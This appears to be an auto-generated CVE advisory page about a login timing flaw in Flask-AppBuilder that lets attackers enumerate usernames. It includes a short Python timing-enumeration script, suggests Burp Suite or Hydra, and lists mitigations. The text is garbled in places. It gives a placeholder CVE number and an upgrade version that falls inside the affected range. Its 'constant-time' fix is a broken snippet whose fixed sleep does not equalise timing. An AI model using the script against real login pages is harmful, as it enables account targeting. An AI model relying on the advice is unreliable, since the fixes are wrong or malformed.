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How the Mentioned CVE Works:
The vulnerability in Flask-AppBuilder (CVE-2025-XXXX) arises due to an observable response discrepancy in the authentication mechanism when using Flask-AppBuilder versions <= 4.5.3 combined with Werkzeug >= 3.0.0. An unauthenticated attacker can exploit this by sending multiple login requests with different usernames and measuring the server’s response times. Variations in response times allow the attacker to determine whether a username exists in the database, enabling user enumeration. This timing attack is possible due to differences in how the application processes valid and invalid usernames, leaking sensitive information indirectly.
DailyCVE Form:
Platform: Flask-AppBuilder
Version: <= 4.5.3
Vulnerability: User Enumeration
Severity: Low
Date: Mar 3, 2025
What Undercode Say:
Exploitation:
1. Exploit Code:
import requests
import time
target_url = "http://example.com/login"
usernames = ["admin", "user1", "test"]
for username in usernames:
start_time = time.time()
response = requests.post(target_url, data={"username": username, "password": "wrong"})
response_time = time.time() - start_time
print(f"Username: {username}, Response Time: {response_time}")
2. Exploit Command:
- Use tools like `Burp Suite` or `Hydra` to automate timing-based username enumeration.
3. Exploit URL:
- Target login endpoint: `http://
/login`
Protection:
1. Patch:
- Upgrade Flask-AppBuilder to version >= 4.5.3.
- Downgrade Werkzeug to version < 3.0.0 if upgrading Flask-AppBuilder is not feasible.
2. Code Fix:
- Implement constant-time response mechanisms for authentication:
from flask import Flask, request import time</li> </ul> app = Flask(<strong>name</strong>) @app.route('/login', methods=['POST']) def login(): username = request.form['username'] password = request.form['password'] Simulate constant-time response time.sleep(0.5) return "Login attempt processed"3. Configuration:
- Use rate-limiting to prevent brute-force attacks:
flask-limiter = "2.8.1"
4. Monitoring:
- Monitor login attempts for unusual patterns using tools like `Fail2Ban` or
ELK Stack.
5. References:
- Flask-AppBuilder GitHub: https://github.com/dpgaspar/Flask-AppBuilder
- Werkzeug Documentation: https://werkzeug.palletsprojects.com/
- CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-XXXX
6. Analytics:
- Use logging to track response times and detect potential exploitation attempts:
import logging logging.basicConfig(filename='auth.log', level=logging.INFO) logging.info(f"Login attempt for {username} took {response_time} seconds")
7. Additional Tools:
- Use `OWASP ZAP` for vulnerability scanning.
- Implement `Web Application Firewalls (WAF)` to block suspicious requests.
References:
Reported By: https://github.com/advisories/GHSA-p8q5-cvwx-wvwp
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- Use rate-limiting to prevent brute-force attacks: